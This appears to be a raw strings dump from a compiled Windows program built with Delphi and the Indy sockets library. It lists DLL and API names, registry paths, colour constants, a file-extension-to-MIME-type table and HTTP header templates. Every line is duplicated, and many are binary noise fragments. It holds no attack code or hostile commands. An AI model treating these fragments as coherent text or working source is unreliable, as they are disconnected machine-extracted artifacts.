RegDeleteKeyW

RegCreateKeyExW

RegCreateKeyExW

ole32.dll

ole32.dll

comctl32.dll

comctl32.dll

shell32.dll

shell32.dll

ShellExecuteW

ShellExecuteW

winspool.drv

winspool.drv

netapi32.dll

netapi32.dll

uxtheme.dll

uxtheme.dll

DWMAPI.DLL

DWMAPI.DLL

windowscodecs.dll

windowscodecs.dll

0$0,0004080

0$0,0004080

: ;&;,;7;

: ;&;,;7;

5?5t5%6S6{6

5?5t5%6S6{6

7%8S8z8

7%8S8z8

= >$>(>,>0>4>

= >$>(>,>0>4>

;'

;'

2>=>

2>=>

5%6s6

5%6s6

2$2 232[2

2$2 232[2

:":(:1:9:

:":(:1:9:

7"7)70787

7"7)70787

>8>@>^>

>8>@>^>

9%9 919\9

9%9 919\9

7x7F7Z7i7x7

7x7F7Z7i7x7

:&

:&

383

383

7-7I7}7

7-7I7}7

5 5?5^5}5

5 5?5^5}5

191=1\1`1

191=1\1`1

;!; ;0;?;

;!; ;0;?;

= =$=(=,=0=4=

= =$=(=,=0=4=

: :$:(:,:0:4:8:<:>

: :$:(:,:0:4:8:<:>

; ;$;(;,;0;4;8;@?`?

; ;$;(;,;0;4;8;@?`?

333333333333333333

333333333333333333

33333833

33333833

3333339

3333339

3333333333333338

3333333333333338

:*"*"$3338

:*"*"$3338

3333333

3333333

33333333

33333333

33333333333

33333333333

3333333333338

3333333333338

33338?383

33338?383

333333333333

333333333333

:*3:"$3338

:*3:"$3338

333333333333333

333333333333333

(WebAPP

(WebAPP

KWindows

KWindows

IdTCPServer

IdTCPServer

0IdHTTPHeaderInfo

0IdHTTPHeaderInfo

Font.Charset

Font.Charset

Font.Color

Font.Color

Font.Height

Font.Height

Font.Name

Font.Name

Font.Style

Font.Style

Picture.Data

Picture.Data

(7),01444

(7),01444

'9=82<.342>

'9=82<.342>

version="1.0.0.0"

version="1.0.0.0"

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

MSH_SCROLL_LINES_MSG

%s[%d]

%s[%d]

%s_%d

%s_%d

.Owner

.Owner

USER32.DLL

USER32.DLL

\\?\UNC\

\\?\UNC\

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_DYN_DATA

%s (*.%s)|*.%1:s

%s (*.%s)|*.%1:s

%s (%s)|%1:s|

%s (%s)|%1:s|

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

clWebSnow

clWebSnow

clWebFloralWhite

clWebFloralWhite

clWebLavenderBlush

clWebLavenderBlush

clWebOldLace

clWebOldLace

clWebIvory

clWebIvory

clWebCornSilk

clWebCornSilk

clWebBeige

clWebBeige

clWebAntiqueWhite

clWebAntiqueWhite

clWebWheat

clWebWheat

clWebAliceBlue

clWebAliceBlue

clWebGhostWhite

clWebGhostWhite

clWebLavender

clWebLavender

clWebSeashell

clWebSeashell

clWebLightYellow

clWebLightYellow

clWebPapayaWhip

clWebPapayaWhip

clWebNavajoWhite

clWebNavajoWhite

clWebMoccasin

clWebMoccasin

clWebBurlywood

clWebBurlywood

clWebAzure

clWebAzure

clWebMintcream

clWebMintcream

clWebHoneydew

clWebHoneydew

clWebLinen

clWebLinen

clWebLemonChiffon

clWebLemonChiffon

clWebBlanchedAlmond

clWebBlanchedAlmond

clWebBisque

clWebBisque

clWebPeachPuff

clWebPeachPuff

clWebTan

clWebTan

clWebYellow

clWebYellow

clWebDarkOrange

clWebDarkOrange

clWebRed

clWebRed

clWebDarkRed

clWebDarkRed

clWebMaroon

clWebMaroon

clWebIndianRed

clWebIndianRed

clWebSalmon

clWebSalmon

clWebCoral

clWebCoral

clWebGold

clWebGold

clWebTomato

clWebTomato

clWebCrimson

clWebCrimson

clWebBrown

clWebBrown

clWebChocolate

clWebChocolate

clWebSandyBrown

clWebSandyBrown

clWebLightSalmon

clWebLightSalmon

clWebLightCoral

clWebLightCoral

clWebOrange

clWebOrange

clWebOrangeRed

clWebOrangeRed

clWebFirebrick

clWebFirebrick

clWebSaddleBrown

clWebSaddleBrown

clWebSienna

clWebSienna

clWebPeru

clWebPeru

clWebDarkSalmon

clWebDarkSalmon

clWebRosyBrown

clWebRosyBrown

clWebPaleGoldenrod

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebLightGoldenrodYellow

clWebOlive

clWebOlive

clWebForestGreen

clWebForestGreen

clWebGreenYellow

clWebGreenYellow

clWebChartreuse

clWebChartreuse

clWebLightGreen

clWebLightGreen

clWebAquamarine

clWebAquamarine

clWebSeaGreen

clWebSeaGreen

clWebGoldenRod

clWebGoldenRod

clWebKhaki

clWebKhaki

clWebOliveDrab

clWebOliveDrab

clWebGreen

clWebGreen

clWebYellowGreen

clWebYellowGreen

clWebLawnGreen

clWebLawnGreen

clWebPaleGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumAquamarine

clWebMediumSeaGreen

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkOliveGreen

clWebDarkgreen

clWebDarkgreen

clWebLimeGreen

clWebLimeGreen

clWebLime

clWebLime

clWebSpringGreen

clWebSpringGreen

clWebMediumSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebPaleTurquoise

clWebLightCyan

clWebLightCyan

clWebLightBlue

clWebLightBlue

clWebLightSkyBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebDarkBlue

clWebIndigo

clWebIndigo

clWebMediumTurquoise

clWebMediumTurquoise

clWebTurquoise

clWebTurquoise

clWebCyan

clWebCyan

clWebPowderBlue

clWebPowderBlue

clWebSkyBlue

clWebSkyBlue

clWebRoyalBlue

clWebRoyalBlue

clWebMediumBlue

clWebMediumBlue

clWebMidnightBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebDarkTurquoise

clWebCadetBlue

clWebCadetBlue

clWebDarkCyan

clWebDarkCyan

clWebTeal

clWebTeal

clWebDeepskyBlue

clWebDeepskyBlue

clWebDodgerBlue

clWebDodgerBlue

clWebBlue

clWebBlue

clWebNavy

clWebNavy

clWebDarkViolet

clWebDarkViolet

clWebDarkOrchid

clWebDarkOrchid

clWebMagenta

clWebMagenta

clWebDarkMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebMediumVioletRed

clWebPaleVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebBlueViolet

clWebMediumOrchid

clWebMediumOrchid

clWebMediumPurple

clWebMediumPurple

clWebPurple

clWebPurple

clWebDeepPink

clWebDeepPink

clWebLightPink

clWebLightPink

clWebViolet

clWebViolet

clWebOrchid

clWebOrchid

clWebPlum

clWebPlum

clWebThistle

clWebThistle

clWebHotPink

clWebHotPink

clWebPink

clWebPink

clWebLightSteelBlue

clWebLightSteelBlue

clWebMediumSlateBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebLightSlateGray

clWebWhite

clWebWhite

clWebLightgrey

clWebLightgrey

clWebGray

clWebGray

clWebSteelBlue

clWebSteelBlue

clWebSlateBlue

clWebSlateBlue

clWebSlateGray

clWebSlateGray

clWebWhiteSmoke

clWebWhiteSmoke

clWebSilver

clWebSilver

clWebDimGray

clWebDimGray

clWebMistyRose

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlateBlue

clWebDarkSlategray

clWebDarkSlategray

clWebGainsboro

clWebGainsboro

clWebDarkGray

clWebDarkGray

clWebBlack

clWebBlack

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

crSQLWait

crSQLWait

%s (%s)

%s (%s)

imm32.dll

imm32.dll

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

%s, ClassID: %s

%s, ClassID: %s

olepro32.dll

olepro32.dll

%d - %s

%d - %s

C:\Builds\TP\indysockets\lib\System\IdStreamVCL.pas

C:\Builds\TP\indysockets\lib\System\IdStreamVCL.pas

C:\Builds\TP\indysockets\lib\System\IdGlobal.pas

C:\Builds\TP\indysockets\lib\System\IdGlobal.pas

%s, %.2d %s %.4d %s %s

%s, %.2d %s %.4d %s %s

%s, %.2d-%s-%.2d %s %s

%s, %.2d-%s-%.2d %s %s

10.5.5

10.5.5

WS2_32.DLL

WS2_32.DLL

getservbyport

getservbyport

WSAAsyncGetServByPort

WSAAsyncGetServByPort

WSAJoinLeaf

WSAJoinLeaf

MSWSOCK.DLL

MSWSOCK.DLL

WSARecvMsg

WSARecvMsg

WSASendMsg

WSASendMsg

Wship6.dll

Wship6.dll

Fwpuclnt.dll

Fwpuclnt.dll

127.0.0.1

127.0.0.1

C:\Builds\TP\indysockets\lib\System\IdStack.pas

C:\Builds\TP\indysockets\lib\System\IdStack.pas

255.255.255.255

255.255.255.255

C:\Builds\TP\indysockets\lib\Core\IdIOHandler.pas

C:\Builds\TP\indysockets\lib\Core\IdIOHandler.pas

0.0.0.0

0.0.0.0

0.0.0.1

0.0.0.1

C:\Builds\TP\indysockets\lib\Core\IdIOHandlerStack.pas

C:\Builds\TP\indysockets\lib\Core\IdIOHandlerStack.pas

ISO_646.irv:1991

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.basic:1983

ISO_646.irv:1983

ISO_646.irv:1983

csISO16Portuguese

csISO16Portuguese

csISO84Portuguese2

csISO84Portuguese2

windows-936

windows-936

csShiftJIS

csShiftJIS

ISO-8859-1-Windows-3.0-Latin-1

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csWindows31Latin5

csMicrosoftPublishing

csMicrosoftPublishing

Windows-31J

Windows-31J

csWindows31J

csWindows31J

windows-1250

windows-1250

windows-1251

windows-1251

windows-1252

windows-1252

windows-1253

windows-1253

windows-1254

windows-1254

windows-1255

windows-1255

windows-1256

windows-1256

windows-1257

windows-1257

windows-1258

windows-1258

.nml=animation/narrative

.nml=animation/narrative

.aiff=audio/x-aiff

.aiff=audio/x-aiff

.au=audio/basic

.au=audio/basic

.mid=midi/mid

.mid=midi/mid

.mp3=audio/x-mpg

.mp3=audio/x-mpg

.m3u=audio/x-mpegurl

.m3u=audio/x-mpegurl

.qcp=audio/vnd.qcelp

.qcp=audio/vnd.qcelp

.ra=audio/x-realaudio

.ra=audio/x-realaudio

.wav=audio/x-wav

.wav=audio/x-wav

.gsm=audio/x-gsm

.gsm=audio/x-gsm

.wax=audio/x-ms-wax

.wax=audio/x-ms-wax

.wma=audio/x-ms-wma

.wma=audio/x-ms-wma

.ram=audio/x-pn-realaudio

.ram=audio/x-pn-realaudio

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.bmp=image/bmp

.bmp=image/bmp

.gif=image/gif

.gif=image/gif

.jpg=image/jpeg

.jpg=image/jpeg

.jpeg=image/jpeg

.jpeg=image/jpeg

.jpe=image/jpeg

.jpe=image/jpeg

.pict=image/x-pict

.pict=image/x-pict

.png=image/x-png

.png=image/x-png

.svg=image/svg-xml

.svg=image/svg-xml

.tif=image/x-tiff

.tif=image/x-tiff

.rf=image/vnd.rn-realflash

.rf=image/vnd.rn-realflash

.rp=image/vnd.rn-realpix

.rp=image/vnd.rn-realpix

.ico=image/x-icon

.ico=image/x-icon

.art=image/x-jg

.art=image/x-jg

.pntg=image/x-macpaint

.pntg=image/x-macpaint

.qtif=image/x-quicktime

.qtif=image/x-quicktime

.sgi=image/x-sgi

.sgi=image/x-sgi

.targa=image/x-targa

.targa=image/x-targa

.xbm=image/xbm

.xbm=image/xbm

.psd=image/x-psd

.psd=image/x-psd

.pnm=image/x-portable-anymap

.pnm=image/x-portable-anymap

.pbm=image/x-portable-bitmap

.pbm=image/x-portable-bitmap

.pgm=image/x-portable-graymap

.pgm=image/x-portable-graymap

.ppm=image/x-portable-pixmap

.ppm=image/x-portable-pixmap

.rgb=image/x-rgb

.rgb=image/x-rgb

.xbm=image/x-xbitmap

.xbm=image/x-xbitmap

.xpm=image/x-xpixmap

.xpm=image/x-xpixmap

.xwd=image/x-xwindowdump

.xwd=image/x-xwindowdump

.xml=text/xml

.xml=text/xml

.uls=text/iuls

.uls=text/iuls

.txt=text/plain

.txt=text/plain

.rtx=text/richtext

.rtx=text/richtext

.wsc=text/scriptlet

.wsc=text/scriptlet

.rt=text/vnd.rn-realtext

.rt=text/vnd.rn-realtext

.htt=text/webviewhtml

.htt=text/webviewhtml

.htc=text/x-component

.htc=text/x-component

.vcf=text/x-vcard

.vcf=text/x-vcard

.avi=video/x-msvideo

.avi=video/x-msvideo

.flc=video/flc

.flc=video/flc

.mp2=video/mpeg

.mp2=video/mpeg

.mp3=video/mpeg

.mp3=video/mpeg

.mp4=video/mpeg

.mp4=video/mpeg

.mpeg=video/x-mpeg2a

.mpeg=video/x-mpeg2a

.mpa=video/mpeg

.mpa=video/mpeg

.mpe=video/mpeg

.mpe=video/mpeg

.mpg=video/mpeg

.mpg=video/mpeg

.mov=video/quicktime

.mov=video/quicktime

.rv=video/vnd.rn-realvideo

.rv=video/vnd.rn-realvideo

.ivf=video/x-ivf

.ivf=video/x-ivf

.wm=video/x-ms-wm

.wm=video/x-ms-wm

.wmp=video/x-ms-wmp

.wmp=video/x-ms-wmp

.wmv=video/x-ms-wmv

.wmv=video/x-ms-wmv

.wmx=video/x-ms-wmx

.wmx=video/x-ms-wmx

.wvx=video/x-ms-wvx

.wvx=video/x-ms-wvx

.rms=video/vnd.rn-realvideo-secure

.rms=video/vnd.rn-realvideo-secure

.asx=video/x-ms-asf-plugin

.asx=video/x-ms-asf-plugin

.movie=video/x-sgi-movie

.movie=video/x-sgi-movie

.aab=application/x-authorware-bin

.aab=application/x-authorware-bin

.aam=application/x-authorware-map

.aam=application/x-authorware-map

.aas=application/x-authorware-seg

.aas=application/x-authorware-seg

.abw=application/x-abiword

.abw=application/x-abiword

.ai=application/postscript

.ai=application/postscript

.arj=application/x-arj

.arj=application/x-arj

.asf=application/vnd.ms-asf

.asf=application/vnd.ms-asf

.bat=application/x-msdos-program

.bat=application/x-msdos-program

.bcpio=application/x-bcpio

.bcpio=application/x-bcpio

.bz2=application/x-bzip2

.bz2=application/x-bzip2

.cab=application/vnd.ms-cab-compressed

.cab=application/vnd.ms-cab-compressed

.cat=application/vnd.ms-pki.seccat

.cat=application/vnd.ms-pki.seccat

.ccn=application/x-cnc

.ccn=application/x-cnc

.cco=application/x-cocoa

.cco=application/x-cocoa

.cdf=application/x-cdf

.cdf=application/x-cdf

.cer=application/x-x509-ca-cert

.cer=application/x-x509-ca-cert

.chm=application/vnd.ms-htmlhelp

.chm=application/vnd.ms-htmlhelp

.chrt=application/vnd.kde.kchart

.chrt=application/vnd.kde.kchart

.cil=application/vnd.ms-artgalry

.cil=application/vnd.ms-artgalry

.class=application/java-vm

.class=application/java-vm

.com=application/x-msdos-program

.com=application/x-msdos-program

.clp=application/x-msclip

.clp=application/x-msclip

.cpio=application/x-cpio

.cpio=application/x-cpio

.cpt=application/mac-compactpro

.cpt=application/mac-compactpro

.cqk=application/x-calquick

.cqk=application/x-calquick

.crd=application/x-mscardfile

.crd=application/x-mscardfile

.crl=application/pkix-crl

.crl=application/pkix-crl

.csh=application/x-csh

.csh=application/x-csh

.dbf=application/x-dbase

.dbf=application/x-dbase

.dcr=application/x-director

.dcr=application/x-director

.deb=application/x-debian-package

.deb=application/x-debian-package

.dir=application/x-director

.dir=application/x-director

.dist=vnd.apple.installer xml

.dist=vnd.apple.installer xml

.distz=vnd.apple.installer xml

.distz=vnd.apple.installer xml

.dll=application/x-msdos-program

.dll=application/x-msdos-program

.dmg=application/x-apple-diskimage

.dmg=application/x-apple-diskimage

.doc=application/msword

.doc=application/msword

.dot=application/msword

.dot=application/msword

.dvi=application/x-dvi

.dvi=application/x-dvi

.dxr=application/x-director

.dxr=application/x-director

.ebk=application/x-expandedbook

.ebk=application/x-expandedbook

.eps=application/postscript

.eps=application/postscript

.evy=application/envoy

.evy=application/envoy

.exe=application/x-msdos-program

.exe=application/x-msdos-program

.fdf=application/vnd.fdf

.fdf=application/vnd.fdf

.fif=application/fractals

.fif=application/fractals

.flm=application/vnd.kde.kivio

.flm=application/vnd.kde.kivio

.fml=application/x-file-mirror-list

.fml=application/x-file-mirror-list

.gnumeric=application/x-gnumeric

.gnumeric=application/x-gnumeric

.gtar=application/x-gtar

.gtar=application/x-gtar

.gz=application/x-gzip

.gz=application/x-gzip

.hdf=application/x-hdf

.hdf=application/x-hdf

.hlp=application/winhlp

.hlp=application/winhlp

.hpf=application/x-icq-hpf

.hpf=application/x-icq-hpf

.hqx=application/mac-binhex40

.hqx=application/mac-binhex40

.hta=application/hta

.hta=application/hta

.ims=application/vnd.ms-ims

.ims=application/vnd.ms-ims

.ins=application/x-internet-signup

.ins=application/x-internet-signup

.iii=application/x-iphone

.iii=application/x-iphone

.iso=application/x-iso9660-image

.iso=application/x-iso9660-image

.jar=application/java-archive

.jar=application/java-archive

.karbon=application/vnd.kde.karbon

.karbon=application/vnd.kde.karbon

.kfo=application/vnd.kde.kformula

.kfo=application/vnd.kde.kformula

.kon=application/vnd.kde.kontour

.kon=application/vnd.kde.kontour

.kpr=application/vnd.kde.kpresenter

.kpr=application/vnd.kde.kpresenter

.kpt=application/vnd.kde.kpresenter

.kpt=application/vnd.kde.kpresenter

.kwd=application/vnd.kde.kword

.kwd=application/vnd.kde.kword

.kwt=application/vnd.kde.kword

.kwt=application/vnd.kde.kword

.latex=application/x-latex

.latex=application/x-latex

.lha=application/x-lzh

.lha=application/x-lzh

.lcc=application/fastman

.lcc=application/fastman

.lrm=application/vnd.ms-lrm

.lrm=application/vnd.ms-lrm

.lzh=application/x-lzh

.lzh=application/x-lzh

.mpp=application/vnd.ms-project

.mpp=application/vnd.ms-project

.mvb=application/x-msmediaview

.mvb=application/x-msmediaview

.man=application/x-troff-man

.man=application/x-troff-man

.mdb=application/x-msaccess

.mdb=application/x-msaccess

.me=application/x-troff-me

.me=application/x-troff-me

.ms=application/x-troff-ms

.ms=application/x-troff-ms

.msi=application/x-msi

.msi=application/x-msi

.mpkg=vnd.apple.installer xml

.mpkg=vnd.apple.installer xml

.mny=application/x-msmoney

.mny=application/x-msmoney

.nix=application/x-mix-transfer

.nix=application/x-mix-transfer

.oda=application/oda

.oda=application/oda

.odb=application/vnd.oasis.opendocument.database

.odb=application/vnd.oasis.opendocument.database

.odc=application/vnd.oasis.opendocument.chart

.odc=application/vnd.oasis.opendocument.chart

.odf=application/vnd.oasis.opendocument.formula

.odf=application/vnd.oasis.opendocument.formula

.odg=application/vnd.oasis.opendocument.graphics

.odg=application/vnd.oasis.opendocument.graphics

.odi=application/vnd.oasis.opendocument.image

.odi=application/vnd.oasis.opendocument.image

.odm=application/vnd.oasis.opendocument.text-master

.odm=application/vnd.oasis.opendocument.text-master

.odp=application/vnd.oasis.opendocument.presentation

.odp=application/vnd.oasis.opendocument.presentation

.ods=application/vnd.oasis.opendocument.spreadsheet

.ods=application/vnd.oasis.opendocument.spreadsheet

.ogg=application/ogg

.ogg=application/ogg

.odt=application/vnd.oasis.opendocument.text

.odt=application/vnd.oasis.opendocument.text

.otg=application/vnd.oasis.opendocument.graphics-template

.otg=application/vnd.oasis.opendocument.graphics-template

.oth=application/vnd.oasis.opendocument.text-web

.oth=application/vnd.oasis.opendocument.text-web

.otp=application/vnd.oasis.opendocument.presentation-template

.otp=application/vnd.oasis.opendocument.presentation-template

.ots=application/vnd.oasis.opendocument.spreadsheet-template

.ots=application/vnd.oasis.opendocument.spreadsheet-template

.ott=application/vnd.oasis.opendocument.text-template

.ott=application/vnd.oasis.opendocument.text-template

.p7b=application/x-pkcs7-certificates

.p7b=application/x-pkcs7-certificates

.p7r=application/x-pkcs7-certreqresp

.p7r=application/x-pkcs7-certreqresp

.package=application/vnd.autopackage

.package=application/vnd.autopackage

.pfr=application/font-tdpfr

.pfr=application/font-tdpfr

.pkg=vnd.apple.installer xml

.pkg=vnd.apple.installer xml

.pdf=application/pdf

.pdf=application/pdf

.pko=application/vnd.ms-pki.pko

.pko=application/vnd.ms-pki.pko

.pl=application/x-perl

.pl=application/x-perl

.pnq=application/x-icq-pnq

.pnq=application/x-icq-pnq

.pot=application/mspowerpoint

.pot=application/mspowerpoint

.pps=application/mspowerpoint

.pps=application/mspowerpoint

.ppt=application/mspowerpoint

.ppt=application/mspowerpoint

.ppz=application/mspowerpoint

.ppz=application/mspowerpoint

.ps=application/postscript

.ps=application/postscript

.pub=application/x-mspublisher

.pub=application/x-mspublisher

.qpw=application/x-quattropro

.qpw=application/x-quattropro

.qtl=application/x-quicktimeplayer

.qtl=application/x-quicktimeplayer

.rar=application/rar

.rar=application/rar

.rdf=application/rdf xml

.rdf=application/rdf xml

.rjs=application/vnd.rn-realsystem-rjs

.rjs=application/vnd.rn-realsystem-rjs

.rm=application/vnd.rn-realmedia

.rm=application/vnd.rn-realmedia

.rmf=application/vnd.rmf

.rmf=application/vnd.rmf

.rmp=application/vnd.rn-rn_music_package

.rmp=application/vnd.rn-rn_music_package

.rmx=application/vnd.rn-realsystem-rmx

.rmx=application/vnd.rn-realsystem-rmx

.rnx=application/vnd.rn-realplayer

.rnx=application/vnd.rn-realplayer

.rpm=application/x-redhat-package-manager

.rpm=application/x-redhat-package-manager

.rsml=application/vnd.rn-rsml

.rsml=application/vnd.rn-rsml

.rtsp=application/x-rtsp

.rtsp=application/x-rtsp

.rss=application/rss xml

.rss=application/rss xml

.scm=application/x-icq-scm

.scm=application/x-icq-scm

.ser=application/java-serialized-object

.ser=application/java-serialized-object

.sh=application/x-sh

.sh=application/x-sh

.shar=application/x-shar

.shar=application/x-shar

.scd=application/x-msschedule

.scd=application/x-msschedule

.sda=application/vnd.stardivision.draw

.sda=application/vnd.stardivision.draw

.sdc=application/vnd.stardivision.calc

.sdc=application/vnd.stardivision.calc

.sdd=application/vnd.stardivision.impress

.sdd=application/vnd.stardivision.impress

.sdp=application/x-sdp

.sdp=application/x-sdp

.setpay=application/set-payment-initiation

.setpay=application/set-payment-initiation

.setreg=application/set-registration-initiation

.setreg=application/set-registration-initiation

.shw=application/presentations

.shw=application/presentations

.sit=application/x-stuffit

.sit=application/x-stuffit

.skd=application/x-koan

.skd=application/x-koan

.skm=application/x-koan

.skm=application/x-koan

.skp=application/x-koan

.skp=application/x-koan

.skt=application/x-koan

.skt=application/x-koan

.smf=application/vnd.stardivision.math

.smf=application/vnd.stardivision.math

.smi=application/smil

.smi=application/smil

.smil=application/smil

.smil=application/smil

.spl=application/futuresplash

.spl=application/futuresplash

.ssm=application/streamingmedia

.ssm=application/streamingmedia

.sst=application/vnd.ms-pki.certstore

.sst=application/vnd.ms-pki.certstore

.stc=application/vnd.sun.xml.calc.template

.stc=application/vnd.sun.xml.calc.template

.std=application/vnd.sun.xml.draw.template

.std=application/vnd.sun.xml.draw.template

.sti=application/vnd.sun.xml.impress.template

.sti=application/vnd.sun.xml.impress.template

.stl=application/vnd.ms-pki.stl

.stl=application/vnd.ms-pki.stl

.stw=application/vnd.sun.xml.writer.template

.stw=application/vnd.sun.xml.writer.template

.svi=application/softvision

.svi=application/softvision

.sv4cpio=application/x-sv4cpio

.sv4cpio=application/x-sv4cpio

.sv4crc=application/x-sv4crc

.sv4crc=application/x-sv4crc

.swf=application/x-shockwave-flash

.swf=application/x-shockwave-flash

.sxc=application/vnd.sun.xml.calc

.sxc=application/vnd.sun.xml.calc

.sxi=application/vnd.sun.xml.impress

.sxi=application/vnd.sun.xml.impress

.sxm=application/vnd.sun.xml.math

.sxm=application/vnd.sun.xml.math

.sxw=application/vnd.sun.xml.writer

.sxw=application/vnd.sun.xml.writer

.sxg=application/vnd.sun.xml.writer.global

.sxg=application/vnd.sun.xml.writer.global

.tar=application/x-tar

.tar=application/x-tar

.tcl=application/x-tcl

.tcl=application/x-tcl

.tex=application/x-tex

.tex=application/x-tex

.texi=application/x-texinfo

.texi=application/x-texinfo

.texinfo=application/x-texinfo

.texinfo=application/x-texinfo

.tr=application/x-troff

.tr=application/x-troff

.trm=application/x-msterminal

.trm=application/x-msterminal

.troff=application/x-troff

.troff=application/x-troff

.tsp=application/dsptype

.tsp=application/dsptype

.tgz=application/x-compressed

.tgz=application/x-compressed

.torrent=application/x-bittorrent

.torrent=application/x-bittorrent

.ttz=application/t-time

.ttz=application/t-time

.uin=application/x-icq

.uin=application/x-icq

.urls=application/x-url-list

.urls=application/x-url-list

.ustar=application/x-ustar

.ustar=application/x-ustar

.vcd=application/x-cdlink

.vcd=application/x-cdlink

.vor=application/vnd.stardivision.writer

.vor=application/vnd.stardivision.writer

.vsl=application/x-cnet-vsl

.vsl=application/x-cnet-vsl

.wcm=application/vnd.ms-works

.wcm=application/vnd.ms-works

.wb1=application/x-quattropro

.wb1=application/x-quattropro

.wb2=application/x-quattropro

.wb2=application/x-quattropro

.wb3=application/x-quattropro

.wb3=application/x-quattropro

.wdb=application/vnd.ms-works

.wdb=application/vnd.ms-works

.wks=application/vnd.ms-works

.wks=application/vnd.ms-works

.wmd=application/x-ms-wmd

.wmd=application/x-ms-wmd

.wms=application/x-ms-wms

.wms=application/x-ms-wms

.wmz=application/x-ms-wmz

.wmz=application/x-ms-wmz

.wp5=application/wordperfect5.1

.wp5=application/wordperfect5.1

.wpd=application/wordperfect

.wpd=application/wordperfect

.wpl=application/vnd.ms-wpl

.wpl=application/vnd.ms-wpl

.wps=application/vnd.ms-works

.wps=application/vnd.ms-works

.wri=application/x-mswrite

.wri=application/x-mswrite

.xfdf=application/vnd.adobe.xfdf

.xfdf=application/vnd.adobe.xfdf

.xls=application/x-msexcel

.xls=application/x-msexcel

.xlb=application/x-msexcel

.xlb=application/x-msexcel

.xpi=application/x-xpinstall

.xpi=application/x-xpinstall

.xps=application/vnd.ms-xpsdocument

.xps=application/vnd.ms-xpsdocument

.xsd=application/vnd.sun.xml.draw

.xsd=application/vnd.sun.xml.draw

.xul=application/vnd.mozilla.xul xml

.xul=application/vnd.mozilla.xul xml

.zoo=application/x-zoo

.zoo=application/x-zoo

.zip=application/x-zip-compressed

.zip=application/x-zip-compressed

.wbmp=image/vnd.wap.wbmp

.wbmp=image/vnd.wap.wbmp

.wml=text/vnd.wap.wml

.wml=text/vnd.wap.wml

.wmlc=application/vnd.wap.wmlc

.wmlc=application/vnd.wap.wmlc

.wmls=text/vnd.wap.wmlscript

.wmls=text/vnd.wap.wmlscript

.wmlsc=application/vnd.wap.wmlscriptc

.wmlsc=application/vnd.wap.wmlscriptc

.pas=text/x-pascal

.pas=text/x-pascal

.hpp=text/x-c hdr

.hpp=text/x-c hdr

.hxx=text/x-c hdr

.hxx=text/x-c hdr

.hh=text/x-c hdr

.hh=text/x-c hdr

.cpp=text/x-c src

.cpp=text/x-c src

.cxx=text/x-c src

.cxx=text/x-c src

.cc=text/x-c src

.cc=text/x-c src

.java=text/x-java

.java=text/x-java

.css=text/css

.css=text/css

.js=text/javascript

.js=text/javascript

.htm=text/html

.htm=text/html

.html=text/html

.html=text/html

.ls=text/javascript

.ls=text/javascript

.mocha=text/javascript

.mocha=text/javascript

.shtml=server-parsed-html

.shtml=server-parsed-html

.sgm=text/sgml

.sgm=text/sgml

.sgml=text/sgml

.sgml=text/sgml

C:\Builds\TP\indysockets\lib\Protocols\IdGlobalProtocols.pas

C:\Builds\TP\indysockets\lib\Protocols\IdGlobalProtocols.pas

()@,;:\"/[]?=

()@,;:\"/[]?=

()@,;:\"/[]?=

()@,;:\"/[]?=

Content-Disposition: form-data; name="%s"; filename="%s"

Content-Disposition: form-data; name="%s"; filename="%s"

Content-Type: %s

Content-Type: %s

Content-Disposition: form-data; name="%s"

Content-Disposition: form-data; name="%s"

*#% []

*#% []

*#% []

*#% []

HTTPS

HTTPS

TIdEncoder3to4.Encode: Calculated length exceeded (expected

TIdEncoder3to4.Encode: Calculated length exceeded (expected

C:\Builds\TP\indysockets\lib\Protocols\IdCoder3to4.pas

C:\Builds\TP\indysockets\lib\Protocols\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

TIdEncoder3to4.Encode: Calculated length not met (expected

HttpOnly

HttpOnly

HTTPONLY

HTTPONLY

port

port

COMMENTURL

COMMENTURL

PORT

PORT

.local

.local

C:\Builds\TP\indysockets\lib\Protocols\IdZLibCompressorBase.pas

C:\Builds\TP\indysockets\lib\Protocols\IdZLibCompressorBase.pas

C:\Builds\TP\indysockets\lib\Core\IdThread.pas

C:\Builds\TP\indysockets\lib\Core\IdThread.pas

